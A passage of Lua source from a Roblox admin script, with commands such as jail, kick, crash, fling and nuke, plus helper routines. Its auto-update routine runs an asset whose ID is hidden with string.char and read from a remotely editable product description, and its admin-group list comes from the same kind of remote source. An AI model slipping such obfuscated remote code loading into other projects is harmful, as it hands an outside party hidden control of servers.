941 if IsAbusive == nil then IsAbusive = false end
942 if Commands[CommandName] then table.remove(Commands[CommandName]) end
943 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
944end
945
946function CORE:FixLighting() coroutine.wrap(function()
947 ModLighting = false
948 wait(0.2)
949 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
950 Server.Lighting.FogColor = Color3.new(0,0,0)
951 Server.Lighting.Brightness = 1
952 Server.Lighting.TimeOfDay = 14
953 Server.Lighting.FogEnd = 100000
954end)() end
955
956function CORE:Round(Number)
957 if Number >= 0.5 then
958 return math.ceil(Number)
959 elseif Number < 0.5 then
960 return math.floor(Number)
961 end
962end
963
964local AdminID,Got = nil,false
965repeat wait()
966 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
967until Got == true
968
969function CORE:GetTable(ID)
970 local Thing = nil
971 repeat wait()
972 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
973 until Thing
974 return Thing
975end
976
977function CORE:InAdminGroup(Speaker)
978 local IsIn = false
979 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
980 if Speaker:IsInGroup(Get) then
981 IsIn = true
982 end
983 end
984 if IsIn == true then
985 return true
986 else
987 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
988 return false
989 end
990end
991
992function CORE:ReverseTable(Table)
993 if type(Table) ~= "table" then return Table end
994 local NewTable = {}
995 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
996 return NewTable
997end
998
999function CORE:Log(LogTable, Player, Chat)
1000 local PlayerName = tostring(Player)
1001 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1002 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1003end
1004
1005function CORE:Jail(Player)
1006 if not Player then return nil end
1007 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1008 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1009 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1010 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1011 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1012 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1013 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1014 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1015 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1016 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1017 Cell:MoveTo(Vector3.new(0,3,0))
1018
1019 if Player.Character and Player.Character:FindFirstChild("Torso") then
1020 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1021 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1022 end
1023 table.insert(Dispose, Cell)
1024 Jails[Player.Name] = Cell
1025end
1026
1027function CORE:UnJail(Player)
1028 if not Player then return nil end
1029 if Jails[Player.Name] then
1030 Jails[Player.Name]:Destroy()
1031 Jails[Player.Name] = nil
1032 end
1033end
1034
1035function CORE:ChangeName(Player, NewName)
1036 if not Player or not NewName then return nil end
1037 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1038 local NewName = STRING:FormatReplace(Player, NewName)
1039
1040 for _,Obj in pairs(Player.Character:GetChildren()) do
1041 if Obj.Name == "Label" then Obj:Destroy() end
1042 end
1043
1044 local Head = Player.Character.Head
1045 local HeadClone = Head:Clone()
1046
1047 -- make actual head invisible
1048 Head.Transparency = 1
1049 ypcall(function() Head.face.Transparency = 1 end)
1050
1051 -- make fake head visible
1052 HeadClone.Transparency = 0
1053 ypcall(function() HeadClone.face.Transparency = 0 end)
1054
1055 local Label = Instance.new("Model", Player.Character)
1056 Label.Name = "Label"
1057
1058 local Model = Instance.new("Model", Label)
1059 Model.Name = NewName
1060
1061 local HumanoidClone = Instance.new("Humanoid", Model)
1062 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1063
1064 HeadClone.Position = Vector3.new(0,100,0)
1065 HeadClone.CanCollide = false
1066 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1067
1068
1069 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1070 HeadClone.Parent = Model
1071 local Weld = Instance.new("Weld", HeadClone)
1072 Weld.Part0 = HeadClone
1073 Weld.Part1 = Head
1074 end)
1075 end
1076end
1077
1078function CORE:UpdateAdmin()
1079 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1080 return nil
1081 end
1082 local UpdateModel = AdminID
1083 if UpdateModel == 0 then return end
1084 local NewAdminModel = nil
1085 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1086 if NewAdminModel then
1087 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1088 if NewAdmin then
1089 local NewVersion = NewAdmin:FindFirstChild("Version")
1090 if NewVersion.Value ~= CORE.Version.Value then
1091 if ExploitModule then
1092 ExploitModule.Disabled = true
1093 ExploitModule:Destroy()
1094 end
1095 NewAdmin.Disabled = true
1096 NewAdmin.Parent = Workspace
1097 if not Settings then
1098 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1099 if NewSettings then NewSettings.Parent = Workspace end
1100 end
1101 wait() NewAdmin.Disabled = false
1102 CORE:RemoveAdmin()
1103 else
1104 NewAdminModel:Destroy()
1105 end
1106 end
1107 end
1108end
1109
1110function CORE:UnpackPlayers(Players)
1111 local PlayerNames = ""
1112 for Num,Player in pairs(Players) do
1113 if Player ~= nil then
1114 if Num ~= #Players then
1115 PlayerNames = PlayerNames..Player.Name..", "
1116 else
1117 PlayerNames = PlayerNames..Player.Name
1118 end
1119 end
1120 end
1121 return PlayerNames
1122end
1123
1124function CORE:GetValue(Value)
1125 if Value:IsA("StringValue") then
1126 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1127 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1128 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1129 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1130 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1131 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1132 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1133 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1134 if Admin == Value.Value then
1135 table.remove(Settings.Ranks["Admin"],Num)
1136 end
1137 end
1138 end end
1139 end
1140end
1141
1142function CORE:GetPlayer(ID)
1143 local Return = {"Unknown", ID}
1144 if tonumber(ID) then
1145 for _,Data in pairs(CharacterCache) do
1146 if ID == Data[2] then
1147 return Data
1148 end
1149 end
1150 ypcall(function()
1151 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1152 if Name then
1153 local Data = {Name, ID}
1154 table.insert(CharacterCache, Data)
1155 Return = Data
1156 end
1157 end)
1158 else
1159 local Name = tostring(ID)
1160 for _,Data in pairs(CharacterCache) do
1161 if string.lower(Name) == string.lower(Data[1]) then
1162 return Data
1163 end
1164 end
1165 ypcall(function()
1166 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1167 if PlayerID then
1168 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1169 local Data = {Name, PlayerID}
1170 table.insert(CharacterCache, Data)
1171 Return = Data
1172 end
1173 end)
1174 end
1175
1176 return Return
1177end
1178
1179function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1180 if ID and #tostring(ID) >= 1 then
1181 local PlayerName = nil
1182
1183 local Players = STRING:Scan(ID, Speaker)
1184 if #Players >= 1 then -- if player is found in server
1185 ID = Players[1].UserId
1186 elseif tonumber(ID) then
1187 local Data = CORE:GetPlayer(ID)
1188 PlayerName = Data[1]
1189 else
1190 local Data = CORE:GetPlayer(tostring(ID))
1191 PlayerName = Data[1]
1192 ID = Data[2]
1193 end
1194
1195 if tonumber(ID) == 20018 then -- exploding easter bunny
1196 local OldID = ID
1197 ID = 1
1198 if Speaker then
1199 if RANK:GetRank(Speaker) == "Member" then
1200 coroutine.wrap(function()
1201 wait(1)
1202 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1203 end)()
1204 else ID = OldID
1205 end
1206 end
1207 elseif tonumber(ID) == 1311 then -- ffjosh
1208 local OldID = ID
1209 ID = 1
1210 if Speaker then
1211 if RANK:GetRank(Speaker) == "Member" then
1212 coroutine.wrap(function()
1213 wait(1)
1214 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1215 end)()
1216 else ID = OldID
1217 end
1218 end
1219 end
1220
1221 if tonumber(ID) then
1222 local Position = nil
1223 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1224 if ManualPos then
1225 Position = ManualPos
1226 else
1227 Position = Player.Character.Torso.Position
1228 end
1229 end
1230 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1231 wait() Player:LoadCharacter() wait()
1232 if Position then Player.Character:MoveTo(Position) end
1233 if not Perm then
1234 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1235 end
1236 if NameChar and PlayerName then
1237 wait(2)
1238 CORE:ChangeName(Player, PlayerName)
1239 end
1240 end
1241 end
1242end)() end
1243
1244function CORE:GenerateShield(Player)
1245 if not Player then return nil end
1246 if not Player.Character then return nil end
1247 local Torso = Player.Character:FindFirstChild("Torso")
1248 if not Torso then return nil end
1249
1250 local Shield = Player.Character:FindFirstChild("Shield")
1251 if Shield then Shield:Destroy() end
1252
1253 Shield = Instance.new("Part", Player.Character)
1254 Shield.Name = "Shield"
1255 Shield.Locked = true
1256 Shield.CanCollide = false
1257 Shield.Size = Vector3.new(10,10,10)
1258 Shield.Shape = "Ball"
1259 Shield.Color = GUI:GetColor()
1260 Shield.Transparency = 0.5
1261 Shield.TopSurface = "Smooth"
1262 Shield.BottomSurface = "Smooth"
1263 Shield.Anchored = true
1264 Shield.Position = Torso.Position
1265
1266 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1267 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1268
1269 Hum:Play()
1270
1271 Shield.Touched:connect(function(Part)
1272 if Part.Parent ~= Server.Workspace then
1273 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1274 if Humanoid then
1275 local Char = Humanoid.Parent
1276 if Char:IsA("Model") and Humanoid.Health > 0 then
1277 if Char ~= Player.Character then
1278 Char:BreakJoints()
1279 Zap:Play()
1280 end
1281 end
1282 end
1283 end
1284 end)
1285
1286 coroutine.wrap(function() repeat wait()
1287 Shield.CFrame = Torso.CFrame
1288 until Torso.Parent == nil or Shield.Parent == nil end)()
1289end
1290
1291function CORE:FlingPlayer(Player)
1292 if Player and Player.Character then
1293 if Player.Character:FindFirstChild("Torso") then
1294 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1295 Fling.Name = "Fling"
1296 Fling.force = Vector3.new(10000,10000,10000)
1297 end
1298 end
1299end
1300
1301function CORE:Kick(Player, CustomMessage)
1302 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1303 coroutine.wrap(function()
1304 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1305 wait(1)
1306 Player:Kick(CustomMessage)
1307 end)()
1308end
1309
1310function CORE:Crash(Player)
1311 local Parent = Player
1312 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1313 elseif Player.Character then Parent = Player.Character end
1314
1315 CORE:ExecuteResource("Crash", Parent)
1316end
1317
1318function CORE:RestoreCamera(Player)
1319 if Player.Backpack then
1320 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1321 end
1322end
1323
1324function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1325 local function ScanInstance(Object)
1326 if #Object:GetChildren() > 0 then
1327 for _,Obj in pairs(Object:GetChildren()) do
1328 local IsType = false
1329 if ObjTypes and #ObjTypes > 0 then
1330 for _,ObjType in pairs(ObjTypes) do
1331 if Obj:IsA(ObjType) then
1332 IsType = true
1333 break
1334 end
1335 end
1336 else
1337 IsType = true
1338 end
1339 if IsType == true then
1340 ActiveFunc(Obj)
1341 end
1342 ScanInstance(Obj)
1343 end
1344 end
1345 end
1346 ScanInstance(BaseObj)
1347end
1348
1349function CORE:AnchorPlayer(Player)
1350 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1351
1352 Player.Character.Humanoid.WalkSpeed = 0
1353 for _,Object in pairs(Player.Character:GetChildren()) do
1354 if Object:IsA("BasePart") then
1355 Object.Anchored = true
1356 end
1357 end
1358end
1359
1360function CORE:UnanchorPlayer(Player)
1361 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1362
1363 Player.Character.Humanoid.WalkSpeed = 16
1364 for _,Object in pairs(Player.Character:GetChildren()) do
1365 if Object:IsA("BasePart") then
1366 Object.Anchored = false
1367 end
1368 end
1369end
1370
1371function CORE:InvisiblePlayer(Player)
1372 if not Player or not Player.Character then return end
1373
1374 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1375end
1376
1377function CORE:VisiblePlayer(Player)
1378 if not Player or not Player.Character then return end
1379
1380 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1381end
1382
1383function CORE:Nuke(Player) coroutine.wrap(function()
1384 local Pos = CFrame.new(0,1,0)
1385 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1386 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1387 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1388 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1389 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1390 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1391
1392 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1393
1394 Server.Lighting.Brightness = 5
1395 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1396 Server.OutdoorAmbient = Color3.new(1,1,1)
1397
1398 local Exp = Instance.new("Explosion", Server.Workspace)
1399 Exp.Position = Pos.p
1400 Exp.BlastPressure = 10000000
1401 Exp.BlastRadius = 1000000
1402 Exp.Hit:connect(function(Part)
1403 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1404 ypcall(function()
1405 Part.Anchored = false
1406 Part.BrickColor = BrickColor.new("Black")
1407 Part.Material = "Slate"
1408 Part:BreakJoints()
1409 end)
1410 end
1411 end)
1412
1413 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1414 BoomSound:Play()
1415 for i = 0,100,0.5 do
1416 Blast.Anchored = true
1417 Wave.Anchored = true
1418 BlastMesh.Scale = Vector3.new(i,i,i)
1419 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1420 Blast.CFrame = Pos
1421 wait()
1422 end
1423 BoomSound:Stop()
1424 Blast:Destroy()
1425 Wave:Destroy()
1426 wait()
1427 BoomSound:Destroy()
1428 Effect:Destroy()
1429 for i = 10,5,-1 do
1430 Server.Lighting.Brightness = (i-5) + 1
1431 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1432 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1433 wait(0.05)
1434 end
1435end)() end
1436
1437function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1438 local AssetID = tonumber(AssetID)
1439 local Item = nil
1440 if AssetID and AssetID ~= 1055299 then
1441 local CanInsert = true
1442 if AbuseMode then
1443 for _,ID in pairs(RemoteAbuseGear) do
1444 if AssetID == tonumber(ID) then CanInsert = false break end
1445 end
1446 for _,ID in pairs(Settings.AbusableGear) do
1447 if AssetID == tonumber(ID) then CanInsert = false break end
1448 end
1449 end
1450 if CanInsert then
1451 Item = Server.IS:LoadAsset(AssetID)
1452 if GetFirstChild then
1453 Item = Item:GetChildren()[1]
1454 if FirstChildTypes and Item then
1455 local ValidType = false
1456 for _,Type in pairs(FirstChildTypes) do
1457 if Item:IsA(Type) then
1458 ValidType = true
1459 break
1460 end
1461 end
1462 if ValidType == false then
1463 Item = nil
1464 end
1465 end
1466 end
1467 if Item and Parent then
1468 Item.Parent = Parent
1469 end
1470 end
1471 end
1472 return Item
1473end
1474
1475function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1476 if not Player or not Player.Character then return nil end
1477 PID = tonumber(PID)
1478 for _,Obj in pairs(Player.Character:GetChildren()) do
1479 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1480 end
1481 if PID then
1482 -- back when we needed HttpService to get packages.
1483 --[[
1484 if PackageCache[PID] then
1485 for _,ID in pairs(PackageCache[PID]) do
1486 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1487 end
1488 else
1489 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1490 if IDsJSON then
1491 local IDs = REMOTE:Decode(IDsJSON)
1492 if IDs then
1493 if not IDs["Error"] then
1494 table.insert(PackageCache, IDs)
1495 for _,ID in pairs(IDs) do
1496 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1497 end
1498 end
1499 end
1500 end
1501 end
1502 ]]
1503 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1504 local IDs = {}
1505 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1506 if #IDs > 0 then
1507 for _,ID in pairs(IDs) do
1508 local PackagePart = CORE:Insert(ID)
1509 for _,Obj in pairs(PackagePart:GetChildren()) do
1510 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1511 Obj.Parent = Player.Character
1512 elseif Obj:IsA("Folder") then
1513 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1514 Obj:GetChildren()[1].Parent = Player.Character
1515 end
1516 end
1517 end
1518 end
1519 end
1520 end
1521end)() end
1522
1523function CORE:ChangeBet(Bet)
1524 if tostring(Bet) and Bet ~= Settings.Bet then
1525 for Index,Data in pairs(Commands) do
1526 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1527 end
1528 Settings.Bet = Bet
1529 end
1530end
1531
1532function CORE:ResetLighting()
1533 ModLighting = false wait(0.2) ModLighting = true
1534end
1535
1536function CORE:Fly(Player, Force)
1537 if Player and Player.Character then
1538 local StopFly = Instance.new("RemoteFunction", Player.Character)
1539 StopFly.Name = "StopMMLFly"
1540 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1541 end
1542end
1543
1544function CORE:GiveTools(Player, Type)
1545 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1546 Type = string.lower(Type)
1547 local _,RankNum = RANK:GetRank(Player)
1548 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1549 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1550
1551 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1552 for Name,Type in pairs(BaseBuildTools) do
1553 local Tool = Instance.new("HopperBin", Player.Backpack)
1554 Tool.Name = Name
1555 Tool.BinType = Type
1556 end
1557 elseif Type == "psbtools" then
1558 for _,Tool in pairs(BuildTools) do
1559 CORE:Insert(Tool, Player.Backpack, true)
1560 end
1561 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1562 if F3X then
1563 local F3X = F3X:Clone()
1564 F3X.Parent = Player.Backpack
1565 end
1566 elseif Type == "btools" then
1567 if F3X then
1568 local F3X = F3X:Clone()
1569 F3X.Parent = Player.Backpack
1570 end
1571 for Name,Type in pairs(BaseBuildTools) do
1572 local Tool = Instance.new("HopperBin", Player.Backpack)
1573 Tool.Name = Name
1574 Tool.BinType = Type
1575 end
1576 for _,Tool in pairs(BuildTools) do
1577 CORE:Insert(Tool, Player.Backpack, true)
1578 end
1579 else
1580 for _,Region in pairs(ToolRegions) do
1581 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1582 if Type == "all" then
1583 local NewItem = Item:Clone()
1584 NewItem.Parent = Player.Backpack
1585 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1586 local NewItem = Item:Clone()
1587 NewItem.Parent = Player.Backpack
1588 end
1589 end)
1590 end
1591 end
1592end
1593
1594function CORE:Scale(Player, ScalePercent)
1595 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1596 local Ratio = ScalePercent/100
1597 if Ratio < 0.05 then Ratio = 0.05 end
1598 if Ratio > 100 then Ratio = 100 end
1599 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1600 local Char = Player.Character
1601
1602 local Clean = Char:FindFirstChild("Clean")
1603 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1604 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1605
1606 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1607 local Welds = {}
1608 local Parts = {}
1609
1610 local function Handle(Obj)
1611 if Obj:IsA("BasePart") and not JustWeld then
1612 table.insert(Parts, Obj)
1613 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1614 if Obj.Name == "MML Mesh" then
1615 Obj:Destroy()
1616 end
1617 if Obj.MeshType == Enum.MeshType.FileMesh then
1618 Obj.Offset = Obj.Offset * ScaleRatio
1619 Obj.Scale = Obj.Scale * ScaleRatio
1620 elseif Ratio < 1 then
1621 Obj.Offset = Obj.Offset * ScaleRatio
1622 Obj.Scale = Obj.Scale * ScaleRatio
1623 end
1624 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1625 if Ratio < 1 then
1626 local BodyPart = ""
1627 local TextureID = Obj.BaseTextureId
1628 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1629 if TextureID == 0 then TextureID = nil end
1630 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1631 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1632 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1633 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1634 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1635 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1636 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1637 NewMesh.Name = "MML Mesh"
1638 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1639 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1640 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1641 Obj:Destroy()
1642 end
1643 elseif Obj:IsA("JointInstance") then
1644 local NewWeld = Obj:Clone()
1645 table.insert(Welds, {NewWeld, Obj.Parent})
1646 elseif NewAdd == true and not JustWeld then
1647 if Obj:IsA("Tool") then
1648 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1649 elseif Obj:IsA("Accoutrement") then
1650 --Cycle(Char.Head, ScaleRatio, false, true)
1651 end
1652 end
1653 if #Obj:GetChildren() > 0 then
1654 for _,NewObj in pairs(Obj:GetChildren()) do
1655 Handle(NewObj, ScaleRatio)
1656 end
1657 end
1658 end
1659 Handle(BaseObj)
1660 for _,Part in pairs(Parts) do
1661 if Ratio >= 1 then
1662 Part.Size = Part.Size * ScaleRatio
1663 else
1664 local Allowed = true
1665 for _,Obj in pairs(Part:GetChildren()) do
1666 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1667 Allowed = false
1668 end
1669 end
1670 if Allowed == true then
1671 local NewMesh = Instance.new("BlockMesh", Part)
1672 NewMesh.Name = "MML Mesh"
1673 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1674 end
1675 end
1676 end
1677 for _,WeldData in pairs(Welds) do
1678 if WeldData[1] then
1679 local Obj = WeldData[1]
1680 local NewWeld = Obj:Clone()
1681
1682 NewWeld.Parent = WeldData[2]
1683 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1684 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1685 end
1686 end
1687 for _,Part in pairs(Parts) do
1688 Part:MakeJoints()
1689 end
1690 Welds = {}
1691 Parts = {}
1692 end
1693 Cycle(Char, Ratio)
1694 Char:MakeJoints()
1695
1696 local Added = Char.ChildAdded:connect(function(Obj)
1697 Cycle(Obj, Ratio, NewAdd)
1698 end)
1699 local Removed = Char.ChildRemoved:connect(function(Obj)
1700 Cycle(Obj, Ratio^-1, NewAdd)
1701 end)
1702
1703 Clean.OnInvoke = function()
1704 Added:disconnect()
1705 Removed:disconnect()
1706 local Location = Vector3.new(0,5,0)
1707 if Char:FindFirstChild("Torso") then
1708 Location = Char.Torso.Position + Vector3.new(0,2,0)
1709 end
1710 Player:LoadCharacter()
1711 wait(0.5)
1712 Player.Character:MoveTo(Location)
1713 wait(0.5)
1714 return nil
1715 end
1716
1717 if Char:FindFirstChild("Torso") then
1718 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1719 end
1720 if Char:FindFirstChild("Humanoid") then
1721 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1722 end
1723 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1724 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1725 end
1726end
1727
1728function CORE:AddExploit(PlayerClient, Data)
1729 local PlayerClientName = PlayerClient.Name
1730 local NewData = CORE:GetTime(true, true).." @ "..Data
1731 for _,Player in pairs(Server.Players:GetChildren()) do
1732 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1733 end
1734 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1735 if type(ExploitLog) ~= "table" then
1736 Server.GDS:SetAsync("ExploitLog", {NewData})
1737 else
